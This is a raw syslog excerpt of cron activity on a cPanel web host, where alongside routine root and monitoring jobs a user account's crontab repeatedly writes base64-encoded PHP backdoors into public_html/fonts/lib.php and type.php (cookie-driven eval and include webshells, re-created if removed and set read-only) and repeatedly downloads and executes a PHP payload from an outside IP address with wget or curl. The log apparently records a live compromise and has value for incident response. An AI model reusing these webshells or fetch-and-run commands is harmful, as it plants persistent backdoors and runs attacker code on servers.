Sep  6 19:20:01 ip-184-168-122-23 CROND[17468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:20:01 ip-184-168-122-23 CROND[17469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:20:01 ip-184-168-122-23 CROND[17470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:20:01 ip-184-168-122-23 CROND[17477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:20:01 ip-184-168-122-23 CROND[17475]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:20:01 ip-184-168-122-23 CROND[17476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:20:01 ip-184-168-122-23 CROND[17479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:20:01 ip-184-168-122-23 CROND[17473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:20:01 ip-184-168-122-23 CROND[17480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:21:01 ip-184-168-122-23 CROND[17568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:21:01 ip-184-168-122-23 CROND[17569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:21:01 ip-184-168-122-23 CROND[17571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:21:01 ip-184-168-122-23 CROND[17570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:22:01 ip-184-168-122-23 CROND[17650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:22:01 ip-184-168-122-23 CROND[17654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:22:01 ip-184-168-122-23 CROND[17653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:22:01 ip-184-168-122-23 CROND[17655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:22:01 ip-184-168-122-23 CROND[17656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:23:01 ip-184-168-122-23 CROND[17738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:23:01 ip-184-168-122-23 CROND[17741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:23:01 ip-184-168-122-23 CROND[17740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:23:01 ip-184-168-122-23 CROND[17742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:24:01 ip-184-168-122-23 CROND[17895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:24:01 ip-184-168-122-23 CROND[17897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:24:01 ip-184-168-122-23 CROND[17898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:24:01 ip-184-168-122-23 CROND[17899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:24:01 ip-184-168-122-23 CROND[17900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:25:01 ip-184-168-122-23 CROND[18000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:25:01 ip-184-168-122-23 CROND[18002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:25:01 ip-184-168-122-23 CROND[18005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:25:01 ip-184-168-122-23 CROND[18001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:25:01 ip-184-168-122-23 CROND[18006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:25:01 ip-184-168-122-23 CROND[18004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:26:01 ip-184-168-122-23 CROND[18087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:26:01 ip-184-168-122-23 CROND[18088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:26:01 ip-184-168-122-23 CROND[18086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:26:01 ip-184-168-122-23 CROND[18089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:26:01 ip-184-168-122-23 CROND[18090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:27:01 ip-184-168-122-23 CROND[18170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:27:01 ip-184-168-122-23 CROND[18174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:27:01 ip-184-168-122-23 CROND[18172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:27:01 ip-184-168-122-23 CROND[18175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:28:01 ip-184-168-122-23 CROND[18254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:28:01 ip-184-168-122-23 CROND[18258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:28:01 ip-184-168-122-23 CROND[18257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:28:01 ip-184-168-122-23 CROND[18259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:28:01 ip-184-168-122-23 CROND[18256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:29:01 ip-184-168-122-23 CROND[18421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:29:01 ip-184-168-122-23 CROND[18425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:29:01 ip-184-168-122-23 CROND[18424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:29:01 ip-184-168-122-23 CROND[18423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:30:01 ip-184-168-122-23 CROND[18506]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:30:01 ip-184-168-122-23 CROND[18507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:30:01 ip-184-168-122-23 CROND[18510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:30:01 ip-184-168-122-23 CROND[18514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:30:01 ip-184-168-122-23 CROND[18517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:30:01 ip-184-168-122-23 CROND[18515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:30:01 ip-184-168-122-23 CROND[18516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:30:01 ip-184-168-122-23 CROND[18518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:31:01 ip-184-168-122-23 CROND[18629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:31:01 ip-184-168-122-23 CROND[18631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:31:01 ip-184-168-122-23 CROND[18633]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:31:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:31:01 ip-184-168-122-23 CROND[18634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:32:01 ip-184-168-122-23 CROND[18722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:32:01 ip-184-168-122-23 CROND[18724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
